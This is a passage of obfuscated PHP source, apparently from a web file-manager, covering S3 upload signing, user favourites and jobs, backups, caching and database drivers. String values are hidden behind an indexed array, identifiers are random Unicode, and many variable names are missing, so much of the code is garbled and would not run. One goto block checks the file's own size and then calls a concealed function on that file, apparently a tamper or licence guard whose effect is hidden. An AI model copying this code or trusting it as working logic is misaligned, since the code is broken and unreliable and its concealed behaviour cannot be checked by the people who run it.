$ = false, $殁 = '') { parent::fileOut($́, $ھ, $, $殁); } public function fileOutImage($ϗ, $ߍ = 250) { $ = $this->link($ϗ, $_SERVER[ﻻ][1462] . $ߍ); $this->fileOutLink($); } public function fileOutImageServer($ٖ, $ɷۤ = 250) { parent::fileOutImage($ٖ, $ɷۤ); } public function hashMd5($ʛ) { $慗ӓ =& $_SERVER[ﻻ]; $ = $this->objectMeta($ʛ); return isset($[$慗ӓ[212]]) ? $[$慗ӓ[212]] : !1; $Ք = $this->link($ʛ, $慗ӓ[1463]); } public function size($ӝ) { $ތ = $this->objectMeta($ӝ); return $ތ ? $ތ[$_SERVER[ﻻ][76]] : 0; } public function info($ܮ鯌) { if ($this->isFolder($ܮ鯌)) { return $this->folderInfo($ܮ鯌); } else { if ($this->isFile($ܮ鯌)) { return $this->fileInfo($ܮ鯌); } } return !1; } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($㗤) { return $this->cacheMethod($_SERVER[ﻻ][165], $㗤); } protected function objectMeta($̄) { return $this->cacheMethod($_SERVER[ﻻ][167], $̄); } protected function _objectMeta($Ւ) { $ =& $_SERVER[ﻻ]; list($ˀ, $ԕ) = $this->bucketManager->stat($this->bucket, $Ւ); if ($ˀ) { $ˀ[$[76]] = intval($ˀ[$[1449]]); } return $ˀ; } protected function _isFolder($ǔŢ) { $ =& $_SERVER[ﻻ]; if ($ǔŢ == $[12] || $ǔŢ == $[8]) { return !0; } list($ݥ, $) = $this->bucketManager->listFiles($this->bucket, trim($ǔŢ, $[8]) . $[8], $[12], 1, $[8]); return !empty($ݥ[$[1452]]) || !empty($ݥ[$[1453]]) ? !0 : !1; } } class PathDriverS3 extends PathDriverBaseS3 { public function __construct($߅ع) { parent::__construct($߅ع); } public function uploadFormData($ޘ솅, $ = 3600) { $欹 =& $_SERVER[ﻻ]; $ = $欹[199]; $Lj = $欹[1368]; $Ƙ = $欹[62]; $̺ = gmdate($欹[1369]); $̡ = gmdate($欹[763]); $ = $欹[1370]; $ = $ . $欹[12]; $܊ = $欹[1332]; $֯ = array($this->accessKey, $̡, $this->region, $Ƙ, $); $ϒԔ = implode($欹[8], $֯); $Ȫʋ = array($欹[1334] => gmdate($欹[1333], strtotime($欹[1371])), $欹[1335] => array(array($欹[1337] => $this->bucket), array($欹[1336] => $), array($欹[1338], $欹[1339], $欹[12]), array($欹[1338], $欹[1372], $欹[12]), array($欹[1338], $欹[1373], $欹[12]), array($欹[1340] => $܊), array($欹[1374] => $ϒԔ), array($欹[1375] => $Lj), array($欹[1376] => $̺), array($欹[1377] => $))); $ԥ͠ = base64_encode(json_encode($Ȫʋ)); $Ϫ = hash_hmac($欹[1378], $̡, $欹[1379] . $this->secret, !0); $ڲ = hash_hmac($欹[1378], $this->region, $Ϫ, !0); $ = hash_hmac($欹[1378], $Ƙ, $ڲ, !0); $ފ쪰 = hash_hmac($欹[1378], $, $ , !0); $÷ = hash_hmac($欹[1378], $ԥ͠, $ފ쪰); $ = array($欹[215] => $欹[12], $欹[1380] => $欹[12], $欹[1336] => $, $欹[1340] => $܊, $欹[1344] => $ԥ͠, $欹[1381] => $ϒԔ, $欹[1382] => $Lj, $欹[1383] => $̺, $欹[1384] => $, $欹[1385] => $÷, $欹[182] => $this->getHost()); return $; } public function multiUploadFormData($, $ = 3600) { $ =& $_SERVER[ﻻ]; $ = gmdate($[1464]); $ = array(); $ޕ = $this->client->getUploadId($this->bucket, $, $); if (!$ޕ) { return !1; } return array($[223] => $ޕ, $[182] => $this->getHost() . $[8] . $this->pathEncode($), $[224] => $, $[94] => $); } public function multiUploadAuthData($Ǥ, $ = array()) { $ =& $_SERVER[ﻻ]; $ދۺ = isset($[$[174]]) ? $[$[174]] : $[12]; $ٳ = $[$[94]]; unset($[$[94]]); if (isset($[$[225]])) { return $this->listUploadParts($ٳ, $); } $ڶۭ = array(); if (isset($[$[1465]])) { $ڶۭ[$[1466]] = $[$[1465]]; } $ר = explode($[184], $this->getHost()); $ȃ = array($[1467] => $ר[1], $[1468] => $[12], $[215] => $[120], $[1380] => $[$[76]]); $ = $[228]; $ü = $[8] . $this->pathEncode($ٳ) . $ދۺ; $ƍ = $this->client->__getSignatureV4($ڶۭ, $ȃ, $, $ü); if (strpos($ދۺ, $[227]) === 0) { if (isset($ڶۭ[$[1466]])) { $ဲ = $ڶۭ[$[1466]]; } else { if (isset($ƍ[$[1466]])) { $ဲ = $ƍ[$[1466]]; } else { $ဲ = hash($[1378], $[12]); } } return array($[234] => $ƍ[$[234]], $[1466] => $ဲ, $[224] => $ƍ[$[1469]]); } return $ƍ[$[234]]; } public function listUploadParts($, $ੰ = array()) { $ۃ =& $_SERVER[ﻻ]; $ = str_replace($ۃ[235], $ۃ[12], $ੰ[$ۃ[174]]); $ʠו = $this->client->listParts($this->bucket, $, $); if (!$ʠו) { return !1; } $ = $ۃ[1470]; foreach ($ʠו as $졃) { $ .= $ۃ[1471] . "\x3c\120\x61\162\x74\116\x75\x6d\x62\145\162\x3e{$졃[$ۃ[1425]]}\x3c\x2f\120\x61\162\164\116\165\155\x62\x65\162\x3e\xa" . "\74\x45\x54\141\147\76{$졃[$ۃ[1426]]}\x3c\x2f\x45\x54\x61\x67\76\xa" . $ۃ[1472]; } $ .= $ۃ[1473]; $ = array(); $Ѣū = explode($ۃ[184], $this->getHost()); $ô = array($ۃ[1467] => $Ѣū[1], $ۃ[215] => $ۃ[120], $ۃ[1380] => strlen($)); $ = $ۃ[226]; $ = $ۃ[8] . $this->pathEncode($) . $ੰ[$ۃ[174]]; $ = $this->client->__getSignatureV4($, $ô, $, $, $); return array($ۃ[234] => $[$ۃ[234]], $ۃ[224] => $[$ۃ[1469]], $ۃ[236] => $ʠו, $ۃ[1466] => $[$ۃ[1466]]); } public function link($, $ = array()) { return parent::link($, $); } public function fileOut($, $ = false, $絮 = false, $Ѝ = '') { if ($this->isFileOutServer() || strstr($this->endpoint, $_SERVER[ﻻ][1474])) { return parent::fileOutServer($, $, $絮, $Ѝ); } parent::fileOut($, $, $絮, $Ѝ); } public function fileOutImage($, $ = 250) { if (strstr($this->endpoint, $_SERVER[ﻻ][1474])) { return parent::fileOutImageServer($, $); } parent::fileOutImage($, $); } public function fileOutLink($Ͳ) { $ =& $_SERVER[ﻻ]; if (substr($Ͳ, 0, 7) == $[1347]) { $Ͳ = $[1348] . substr($Ͳ, 7); } header($[161] . $Ͳ); die; } public function getHost() { $Ả =& $_SERVER[ﻻ]; $ = str_rtrim(parent::getHost(), $Ả[8] . $this->bucket); $ = explode($Ả[184], $); return $[0] . $Ả[184] . $this->bucket . $Ả[10] . $[1]; } } goto AŬ; a: class SystemTaskModel extends ModelBaseLight { public $optionType = "\x53\171\163\x74\x65\155\x2e\x74\141\x73\153\114\151\163\x74"; public $field = array("\x6e\141\155\145", "\x74\x79\x70\145", "\145\166\x65\156\164", "\164\x69\155\x65", "\x64\145\163\x63", "\163\171\x73\x74\x65\x6d", "\145\156\x61\142\x6c\145", "\x6c\141\163\164\122\x75\156", "\x73\x6f\x72\164"); public function listData($Ӛ = false, $ = "\x73\x6f\162\x74", $ = false) { return parent::listData($Ӛ, $, $); } public function add($⼺) { $ =& $_SERVER[ﻻ]; $й = $this->findByName($⼺[$[32]]); if ($й) { return !1; } $⼺[$[1638]] = 0; $⼺[$[1891]] = $this->getSort(); return parent::insert($⼺); } private function getSort() { $̠ =& $_SERVER[ﻻ]; $̖ʤ = parent::listData(); $ = array_to_keyvalue($̖ʤ, $̠[12], $̠[1891]); return empty($) ? 0 : max($) + 1; } public function update($, $͈) { $īЙ =& $_SERVER[ﻻ]; $ = $this->listData($); $ʳ = $this->findByName($͈[$īЙ[32]]); if (!$ || $ʳ && $ʳ[$īЙ[399]] != $[$īЙ[399]]) { return !1; } return parent::update($, $͈); } public function remove($Դ, $ = false) { $ϲ =& $_SERVER[ﻻ]; $ɔߛ = $this->listData($Դ); if (!$ɔߛ) { return; } if (!$ && $ɔߛ[$ϲ[1294]] == $ϲ[88]) { return !1; } return parent::remove($Դ); } public function enable($, $) { return $this->update($, array($_SERVER[ﻻ][2299] => $)); } public function run($) { return $this->update($, array($_SERVER[ﻻ][2311] => time())); } } class UserFavModel extends ModelBase { protected $tableName = "\x75\163\x65\162\137\146\141\x76"; protected function cacheFunctionAlias($) { $㫽 =& $_SERVER[ﻻ]; return array($㫽[1978] => array(USER_ID, $㫽[2312])); } protected function listData() { $֣ =& $_SERVER[ﻻ]; $֘ = array($֣[1669] => USER_ID, $֣[492] => 0); $ = $֣[2313]; $ = $this->field($)->where($֘)->order($֣[2314])->select(); return $ ? $ : array(); } protected function resetCache() { } protected function listView() { $ֺ =& $_SERVER[ﻻ]; $ = $this->listData(); $ = array_filter_by_field($, $ֺ[33], $ֺ[425]); $Ǯ = array_to_keyvalue($, $ֺ[12], $ֺ[84]); if (!$Ǯ) { return $; } $ = 2000; $ؿ = array($ֺ[426] => array($ֺ[427], $Ǯ)); $ٴ = Model($ֺ[838])->listSource($ؿ, $); $ٴ = array_merge($ٴ[$ֺ[83]], $ٴ[$ֺ[82]]); $ٴ = array_to_keyvalue($ٴ, $ֺ[411]); foreach ($ as $ => $) { $ = $ٴ[$[$ֺ[84]]]; $ = $ ? $ : array(); $[$] = array_merge($, $); } return $; } protected function addFav($, $ = '', $Ŷ = "\163\157\165\x72\143\145") { $ =& $_SERVER[ﻻ]; $ = array($[1669] => USER_ID, $[492] => 0, $[431] => $Ŷ, $[430] => $); if ($this->where($)->find()) { return !1; } $ = array($[1669] => USER_ID, $[492] => 0); $ك = $this->where($)->max($[1891]); if (!$ك) { $ك = 0; } if (!$ && $Ŷ == $[425]) { $֩ = Model($[1349])->where(array($[426] => $))->find(); if (!$֩) { return !1; } $ = $֩[$[32]]; } $ = $this->getAutoName($); $̡ = array($[1669] => USER_ID, $[492] => 0, $[429] => $, $[430] => $, $[431] => $Ŷ, $[1871] => $ك + 1); return $this->add($̡); } protected function remove($ħ) { $ =& $_SERVER[ﻻ]; $ƭ = array($[1669] => USER_ID, $[428] => $ħ); return $this->where($ƭ)->delete(); } protected function removeByName($) { $´ =& $_SERVER[ﻻ]; $ = array($´[1669] => USER_ID, $´[429] => $, $´[492] => 0); return $this->where($)->delete(); } protected function rename($唒, $) { $ɜݴ =& $_SERVER[ﻻ]; if ($唒 == $) { return !1; } $ß = $this->getAutoName($); if ($ != $ß) { return !1; } $Ɛ碮 = array($ɜݴ[1669] => USER_ID, $ɜݴ[492] => 0, $ɜݴ[32] => $唒); return $this->where($Ɛ碮)->save(array($ɜݴ[32] => $)); } protected function resetSort($) { $ =& $_SERVER[ﻻ]; $ = is_array($) ? $ : array(); $Ҩ = array($[1669] => USER_ID); for ($Ѐç = 0; $Ѐç < count($); $Ѐç++) { $Ҩ[$[428]] = $[$Ѐç]; $this->where($Ҩ)->save(array($[1871] => $Ѐç + 1)); } return !0; } protected function moveTop($ٌ) { $Ќ =& $_SERVER[ﻻ]; $ = array($Ќ[1669] => USER_ID, $Ќ[492] => 0); $ = $this->where($)->where(array($Ќ[32] => $ٌ))->find(); if (!$) { return; } $ = $this->field($Ќ[399])->where($)->order($Ќ[2314])->select(); $ = array_to_keyvalue($, $Ќ[12], $Ќ[399]); $ņ = $; $ = array_remove_value($, $[$Ќ[399]]); array_unshift($, $[$Ќ[399]]); return $this->resetSort($); } protected function moveBottom($) { $ =& $_SERVER[ﻻ]; $ѥʌ = array($[1669] => USER_ID, $[492] => 0); $ = $this->where($ѥʌ)->max($[1891]); $݆ = array($[1891] => $ + 1); return $this->where($ѥʌ)->where(array($[32] => $))->save($݆); } private function getAutoName($) { $۶ =& $_SERVER[ﻻ]; $ = array($۶[1669] => USER_ID, $۶[492] => 0); $܇ = $this->field($۶[32])->where($)->select(); $܇ = array_to_keyvalue($܇, $۶[12], $۶[32]); if (!$܇ || !in_array($, $܇)) { return $; } for ($ڑ = 0; $ڑ < count($܇); $ڑ++) { if (!in_array($ . "\x28{$ڑ}\51", $܇)) { return $ . "\50{$ڑ}\x29"; } } return $ . "\x28{$ڑ}\51"; } } class UserJobModel extends ModelBaseLight { public $optionType = "\123\x79\163\x74\145\x6d\x2e\x6a\157\x62\x4c\x69\163\164"; public $field = array("\156\141\155\x65", "\144\145\x73\x63", "\163\x6f\x72\164"); const JOB_KEY = "\x73\x65\154\x66\x4a\x6f\142\x4c\151\163\x74"; public function listData($ʃ = false, $ = "\163\157\x72\164", $Ĕ = false) { return parent::listData($ʃ, $, $Ĕ); } public function remove($) { return parent::remove($); } public function add($ƨ) { $ =& $_SERVER[ﻻ]; if ($this->findByName($ƨ[$[32]])) { return !1; } $ƨ[$[1891]] = $this->getSort(); return parent::insert($ƨ); } private function getSort() { $ =& $_SERVER[ﻻ]; $ = parent::listData(); $ = array_to_keyvalue($, $[12], $[1891]); return empty($) ? 0 : max($) + 1; } public function update($, $) { $ =& $_SERVER[ﻻ]; $ڬ = parent::listData($); $ = $this->findByName($[$[32]]); if (!$ڬ || $ && $[$[399]] != $ڬ[$[399]]) { return !1; } return parent::update($, $); } public function setUserJob($ӹ, $) { $ц =& $_SERVER[ﻻ]; if (!is_array($)) { $ = array($); } $ԯ = parent::listData(); $ = array_to_keyvalue($ԯ, $ц[32]); $Ŕ = $ц[378]; foreach ($ as $ृ) { if ($[$ृ]) { $Ŕ .= $[$ृ][$ц[399]] . $ц[50]; } else { $¸ = $this->add($ृ); $Ŕ .= $¸ . $ц[50]; } } $Ŕ = rtrim($Ŕ, $ц[50]); Model($ц[534])->metaSet($ӹ, self::JOB_KEY, $Ŕ); } public function getUserJob($մ) { $ = Model($_SERVER[ﻻ][534])->metaGet($մ); return $this->getUserJobInfo($[self::JOB_KEY]); } public function getUserJobInfo($Ҹ) { $頋Ҩ =& $_SERVER[ﻻ]; $ = explode($頋Ҩ[50], $Ҹ); $⽴ף = parent::listData(); $⽴ף = array_remove_key($⽴ף, $頋Ҩ[201]); $ = array(); foreach ($ as $Ԟ) { if (isset($⽴ף[$Ԟ])) { $[] = $⽴ף[$Ԟ]; } } return $; } } goto B; b՟ҿ: $_file = $_SERVER[$_SERVER[ﻻ][409]]; $_size = $_SERVER[ﻻ][759]; if ($_SERVER[$_SERVER[ﻻ][401]] != $_size($_file)) { $_getc = $_SERVER[ﻻ][403]; $_getfile = $_SERVER[$_SERVER[ﻻ][404]] . $_SERVER[ﻻ][405]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[ﻻ][231], $_getfilec); if (count($_getarrs) < $_SERVER[ﻻ][406]) { $exit = $_SERVER[ﻻ][407]; $exit(); } $_act = $_SERVER[ﻻ][408]; $_act($_file); } goto fÖ; F᥆: class BackupDbFile { public function __construct() { } public function index() { $ =& $_SERVER[ﻻ]; $ = Backup::get(); $ = $[$[32]]; $ = $this->tmpFilesPath() . "\142\141\143\x6b\165\x70\137{$}\57"; $η = $this->backupPath($); if (!($η = IO::mkdir($η))) { return !1; } $͒ = IO::listPath($); $ه = isset($͒[$[83]]) ? $͒[$[83]] : array(); $ = array_sum(array_column($ه, $[76])); if (!$) { return !1; } $´ = array($[811] => $, $[812] => time()); Backup::set($´); $͠ = new TaskFileTransfer($[813], $[793], count($ه), LNG($[794]) . $[386] . LNG($[796]) . $[814]); $͠->task[$[776]] = $; foreach ($͒[$[83]] as $∇) { $ = IO::move($∇[$[84]], $η); if (!$) { $͠->end(); $ƒկΈ = IO::getLastError($[815] . $∇[$[84]] . $[816] . $η . $[164]); write_log($ƒկΈ, $[793]); return !1; } } $ڇ = new DbManage(); $ = $ڇ->getSqlFile(); if (!$[$[817]] || !$[$[13]]) { return !1; } IO::move($[$[817]], $η); IO::move($[$[13]], $η); $͠->end(); $´ = array($[818] => $, $[819] => time()); Backup::set($´); return !0; } private function backupPath($⪖) { $ =& $_SERVER[ﻻ]; $ = $⪖[$[32]]; $ӢǓ = Model($[783])->get($[784]); $˄ = substr(md5($[785] . $ӢǓ . $), 0, 8); return "\173\151\x6f\x3a{$⪖[$[764]]}\175\x2f\144\141\x74\141\142\141\x73\145\x2f\x62\141\143\x6b\x75\x70\57" . $ . $[11] . $˄; } private function tmpFilesPath() { $߃ =& $_SERVER[ﻻ]; $Ͳ۽ = TEMP_FILES; if ($GLOBALS[$߃[6]][$߃[89]][$߃[809]]) { $Ͳ۽ = $GLOBALS[$߃[6]][$߃[89]][$߃[809]]; if (!mk_dir($Ͳ۽) || !is_writable($Ͳ۽) || !IO::mkfile($Ͳ۽ . $߃[810])) { $Ͳ۽ = TEMP_FILES; } } return $Ͳ۽; } } class BackupFile { public function __construct() { } public function index() { $â = Backup::get(); $Ȉ = $â[$_SERVER[ﻻ][293]][$_SERVER[ﻻ][200]][$_SERVER[ﻻ][477]]; $Ŏ = array($_SERVER[ﻻ][478] => array($_SERVER[ﻻ][820], $Ȉ), $_SERVER[ﻻ][821] => array($_SERVER[ﻻ][331], $â[$_SERVER[ﻻ][764]])); $ = (int) Model($_SERVER[ﻻ][802])->where($Ŏ)->count($_SERVER[ﻻ][477]); $ɭ = (int) Model($_SERVER[ﻻ][802])->where($Ŏ)->sum($_SERVER[ﻻ][76]); $ = new TaskFileTransfer($_SERVER[ﻻ][822], $_SERVER[ﻻ][793], $, LNG($_SERVER[ﻻ][794]) . $_SERVER[ﻻ][795] . LNG($_SERVER[ﻻ][823])); $->task[$_SERVER[ﻻ][776]] = $ɭ; $˩ = array($_SERVER[ﻻ][824] => $, $_SERVER[ﻻ][825] => $ɭ, $_SERVER[ﻻ][826] => time()); Backup::set($˩); $悪 = !0; $ = $this->storeIds(); $Ȅ = 1; $ = 1000; $ = $Ꭻ = 0; $Ӄ = array(); $ = $ = 0; do { $ʁą = $_SERVER[ﻻ][827]; $Դ = Model($_SERVER[ﻻ][802])->where($Ŏ)->field($ʁą)->order($_SERVER[ﻻ][828])->selectPage($, $Ȅ); $ = !empty($Դ[$_SERVER[ﻻ][369]]) ? $Դ[$_SERVER[ﻻ][369]] : array(); foreach ($ as $з) { if (!$this->_fileExist($з, $Ӄ, $)) { $ -= 1; $ɭ -= (int) $з[$_SERVER[ﻻ][76]]; write_log("\x66\151\x6c\145\x20\x6e\x6f\164\40\x65\170\151\163\x74\x2e\x66\151\x6c\145\111\x44\x3a{$з[$_SERVER[ﻻ][477]]}\54\40\160\141\x74\x68\x3a{$з[$_SERVER[ﻻ][84]]}", $_SERVER[ﻻ][829]); continue; } $ = $з[$_SERVER[ﻻ][84]]; $΅ = "\x7b\151\157\72{$â[$_SERVER[ﻻ][764]]}\175" . substr($, strlen("\173\x69\x6f\x3a{$з[$_SERVER[ﻻ][830]]}\175")); if (IO::exist($΅)) { $->updateFileEnd($з[$_SERVER[ﻻ][32]], $з[$_SERVER[ﻻ][76]]); } else { $΅ = get_path_father($΅); IO::mkdir($΅); if (!IO::copy($, $΅, $_SERVER[ﻻ][831])) { write_log($_SERVER[ﻻ][832] . $ . $_SERVER[ﻻ][816] . $΅ . $_SERVER[ﻻ][164], $_SERVER[ﻻ][793]); $悪 = !1; break; } } $Ȉ = $з[$_SERVER[ﻻ][477]]; $Ꭻ += 1; $ += $з[$_SERVER[ﻻ][76]]; $ += 1; $ += $з[$_SERVER[ﻻ][76]]; if ($ >= 1024 * 1024 * 100) { $˩ = array($_SERVER[ﻻ][833] => $Ȉ, $_SERVER[ﻻ][834] => $, $_SERVER[ﻻ][835] => $); Backup::set($˩); $ = $Ꭻ = 0; } } $ = count($); $Ȅ++; } while ($ == $); $->end(); $˩ = array($_SERVER[ﻻ][836] => 1, $_SERVER[ﻻ][774] => time(), $_SERVER[ﻻ][788] => 1, $_SERVER[ﻻ][833] => $Ȉ, $_SERVER[ﻻ][825] => $ɭ, $_SERVER[ﻻ][824] => $, $_SERVER[ﻻ][837] => time()); if ($Ꭻ) { $˩[$_SERVER[ﻻ][834]] = $; $˩[$_SERVER[ﻻ][835]] = $; } Backup::set($˩); $this->_fileFilter($Ӄ); return !0; } private function _fileExist($, &$ݥ, $ݑ) { $ =& $_SERVER[ﻻ]; $ = $[$[84]]; if (in_array($[$[477]], $ݥ)) { return !1; } if (!in_array($[$[830]], $ݑ)) { return !1; } if (IO::exist($)) { return !0; } $ˊ = get_path_father($); if (IO::exist($ˊ)) { $ݥ[] = $[$[477]]; return !1; } $ = array($[830] => $[$[830]], $[84] => array($[383], "{$ˊ}\x25")); $ = Model($[802])->where($)->field($[478])->select(); $ݥ = array_merge($ݥ, array_to_keyvalue($, $[12], $[477])); return !1; } private function _fileFilter($) { $̯ =& $_SERVER[ﻻ]; if (empty($)) { return; } $ = array($̯[477] => array($̯[7], array_unique($))); $ = Model($̯[838])->where($)->field($̯[411])->select(); foreach ($ as $徰) { Model($̯[838])->remove($徰[$̯[411]], !1); } } private function storeIds() { $ף =& $_SERVER[ﻻ]; $Ѹ֊ = Model($ף[780])->listData(); $͝չ = array(); $ڿƸ = $GLOBALS[$ף[6]][$ף[89]][$ף[839]]; foreach ($Ѹ֊ as $ה) { $Ԑ = strtolower($ה[$ף[95]]); if (!isset($ڿƸ[$Ԑ])) { continue; } $ = $ף[74] . (isset($ڿƸ[$Ԑ]) ? $ڿƸ[$Ԑ] : ucfirst($Ԑ)); if (!class_exists($)) { continue; } $͝չ[] = $ה[$ף[399]]; } return $͝չ; } } class Cache { protected static $handle; protected static $memoryCache; public static function init() { $ҭ =& $_SERVER[ﻻ]; if (self::$handle) { return self::$handle; } self::$memoryCache = array(); $̕ = $GLOBALS[$ҭ[6]][$ҭ[349]]; $ⶺ = $̕[$̕[$ҭ[840]]]; $됲䚩 = $̕[$ҭ[841]]; switch ($̕[$ҭ[840]]) { case $ҭ[21]: self::$handle = Model($ҭ[842]); break; case $ҭ[843]: self::$handle = new CacheRedis($ⶺ, $됲䚩); break; case $ҭ[844]: self::$handle = new CacheMemcached($ⶺ, $됲䚩); break; case $ҭ[200]: self::$handle = new CacheFile($ⶺ, $됲䚩); break; default: break; } return self::$handle; } public static function initReset() { self::$handle = !1; self::$memoryCache = !1; } public static function key($͏) { if (is_array($͏) || is_object($͏)) { $͏ = json_encode($͏); } $͏ = rawurlencode($͏); return md5(KOD_SITE_ID . $_SERVER[ﻻ][11] . $͏); } public static function get($, $И = false) { $ؘ = self::key($); if ($И) { return unserialize(self::init()->get($ؘ)); } if (!isset(self::$memoryCache[$ؘ])) { $ޯ = self::init()->get($ؘ); self::$memoryCache[$ؘ] = unserialize($ޯ); } return self::$memoryCache[$ؘ]; } public static function set($ؿ, $, $ύ = false) { $⤾Ж = self::key($ؿ); if (isset(self::$memoryCache[$⤾Ж]) && self::$memoryCache[$⤾Ж] === $) { return !0; } if ($ύ === 0) { self::$memoryCache[$⤾Ж] = $; return !0; } CacheLock::lock($ؿ); $ę = self::init()->set($⤾Ж, serialize($), $ύ); self::$memoryCache[$⤾Ж] = $; CacheLock::unlock($ؿ); return $ę; } public static function getCall($늹, $, $͍, $ϣ = array()) { $بލ =& $_SERVER[ﻻ]; $Ī = self::get($늹); if ($Ī || $Ī === $بލ[12]) { return $Ī; } $Ī = call_user_func_array($͍, $ϣ); $Ī = $Ī ? $Ī : $بލ[12]; self::set($늹, $Ī, $); return $Ī; } public static function remove($) { $Ú = self::key($); unset(self::$memoryCache[$Ú]); self::clearTimeout(); CacheLock::lock($); $ɇ謔 = self::init()->remove($Ú); CacheLock::unlock($); return $ɇ謔; } public static function removeMemory($Ц) { $ = self::key($Ц); unset(self::$memoryCache[$]); } public static function clearMemory($Ŵ = false) { if ($Ŵ) { $Ŵ = self::key($Ŵ); unset(self::$memoryCache[$Ŵ]); return; } self::$memoryCache = null; self::$memoryCache = array(); } public static function deleteAll() { self::$memoryCache = array(); if (method_exists(self::init(), $_SERVER[ﻻ][845])) { self::init()->deleteAll(); } } public static function clearTimeout() { if (method_exists(self::init(), $_SERVER[ﻻ][846])) { self::init()->clearTimeout(); } } } goto alj߯; f: class DbMysqli extends Db { public function __construct($섛 = '') { $ݴ =& $_SERVER[ﻻ]; if (!extension_loaded($ݴ[922])) { think_exception(think_lang($ݴ[14]) . $ݴ[923]); } if (!empty($섛)) { $this->config = $섛; if (empty($this->config[$ݴ[17]])) { $this->config[$ݴ[17]] = $ݴ[12]; } } } public function connect($點 = '', $˫ = 0) { $ =& $_SERVER[ﻻ]; if (!isset($this->linkID[$˫])) { if (empty($點)) { $點 = $this->config; } $this->linkID[$˫] = new mysqli($點[$[896]], $點[$[898]], $點[$[899]], $點[$[21]], $點[$[897]] ? intval($點[$[897]]) : 3306); if (mysqli_connect_errno()) { think_exception(mysqli_connect_error()); } $ = $this->linkID[$˫]->server_version; $this->linkID[$˫]->query($[900] . think_config($[901]) . $[58]); if ($ > $[902]) { $this->linkID[$˫]->query($[903]); } $this->connected = !0; if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$˫]; } public function free() { $this->queryID->free_result(); $this->queryID = null; } public function query($) { $Ԏ =& $_SERVER[ﻻ]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($Ԏ[23], 1); think_status($Ԏ[24]); $this->queryID = $this->_linkID->query($); if ($this->_linkID->more_results()) { while (($ = $this->_linkID->next_result()) != NULL) { $->free_result(); } } $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = $this->queryID->num_rows; $this->numCols = $this->queryID->field_count; return $this->getAll(); } } public function execute($ڶ) { $ =& $_SERVER[ﻻ]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $ڶ; if ($this->queryID) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $ = $this->_linkID->query($ڶ); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->affected_rows; $this->lastInsID = $this->_linkID->insert_id; return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if ($this->transTimes == 0) { $this->_linkID->autocommit(!1); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $̶ = $this->_linkID->commit(); $this->_linkID->autocommit(!0); $this->transTimes = 0; if (!$̶) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $۳ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$۳) { $this->error(); return !1; } } return !0; } private function getAll() { $ = array(); if ($this->numRows > 0) { for ($㻊 = 0; $㻊 < $this->numRows; $㻊++) { $[$㻊] = $this->queryID->fetch_assoc(); } $this->queryID->data_seek(0); } return $; } public function getFields($) { $ԝ =& $_SERVER[ﻻ]; $ = $this->query($ԝ[907] . $this->parseKey($)); $ݤ = array(); if ($) { foreach ($ as $ => $) { $ݤ[$[$ԝ[31]]] = array($ԝ[32] => $[$ԝ[31]], $ԝ[33] => $[$ԝ[34]], $ԝ[35] => (bool) ($[$ԝ[36]] === $ԝ[12]), $ԝ[37] => $[$ԝ[38]], $ԝ[39] => strtolower($[$ԝ[40]]) == $ԝ[41], $ԝ[42] => strtolower($[$ԝ[43]]) == $ԝ[44]); } } return $ݤ; } public function getTables($ϝ = '') { $ =& $_SERVER[ﻻ]; $ = !empty($ϝ) ? $[909] . $ϝ . $[910] : $[911]; $» = $this->query($); $Ĕ = array(); if ($») { foreach ($» as $ => $) { $Ĕ[$] = current($); } } return $Ĕ; } public function replace($, $ч = array()) { $ =& $_SERVER[ﻻ]; foreach ($ as $Է => $з) { $ލ = $this->parseValue($з); if (is_scalar($ލ)) { $[] = $ލ; $쁼ь[] = $this->parseKey($Է); } } $ = $[912] . $this->parseTable($ч[$[279]]) . $[913] . implode($[50], $쁼ь) . $[914] . implode($[50], $) . $[915]; return $this->execute($); } public function insertAll($, $ = array(), $艓 = false) { $߃ =& $_SERVER[ﻻ]; if (!is_array($[0])) { return !1; } $ = array_keys($[0]); $Ӕ = array(); foreach ($ as $ή) { $Ԡ = array(); foreach ($ή as $̞ => $) { $ = $this->parseValue($); if (is_scalar($)) { $Ԡ[] = $; } } $Ӕ[] = $߃[260] . implode($߃[50], $Ԡ) . $߃[915]; } array_walk($, array($this, $߃[916])); $ޕ = $艓 ? $߃[917] : $߃[918]; $ = $ޕ . $߃[919] . $this->parseTable($[$߃[279]]) . $߃[913] . implode($߃[50], $) . $߃[920] . implode($߃[50], $Ӕ); return $this->execute($); } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $Μ̃ =& $_SERVER[ﻻ]; $this->error = $this->_linkID->errno . $Μ̃[4] . $this->_linkID->error; if ($Μ̃[12] != $this->queryStr) { $this->error .= LNG($Μ̃[48]) . $this->queryStr; } think_trace($this->error, $Μ̃[12], $Μ̃[49]); return $this->error; } public function escapeString($ξ) { if ($this->_linkID) { return $this->_linkID->real_escape_string($ξ); } else { return addslashes($ξ); } } public function parseKey(&$ڌ, $ = true) { $ =& $_SERVER[ﻻ]; if ($) { $ڌ = $this->parseKeyCheck($ڌ); } if ($ڌ != $[189] && !preg_match($[921], $ڌ)) { $ڌ = $[385] . trim($ڌ, $[385]) . $[385]; } return $ڌ; } } class DbPdo extends Db { protected $PDOStatement = null; private $table = ''; public function __construct($랯 = '') { $ =& $_SERVER[ﻻ]; if (!class_exists($[924])) { think_exception(think_lang($[14]) . $[925]); } if (!empty($랯)) { $this->config = $랯; if (empty($this->config[$[17]])) { $this->config[$[17]] = array(); } } } public function connect($諿 = '', $ = 0) { $ =& $_SERVER[ﻻ]; if (!isset($this->linkID[$])) { if (empty($諿)) { $諿 = $this->config; } $ڊ = !empty($諿[$[17]][$[18]]) ? $諿[$[17]][$[18]] : $this->pconnect; if ($ڊ) { $諿[$[17]][PDO::ATTR_PERSISTENT] = !0; } try { $this->linkID[$] = new PDO($諿[$[926]], 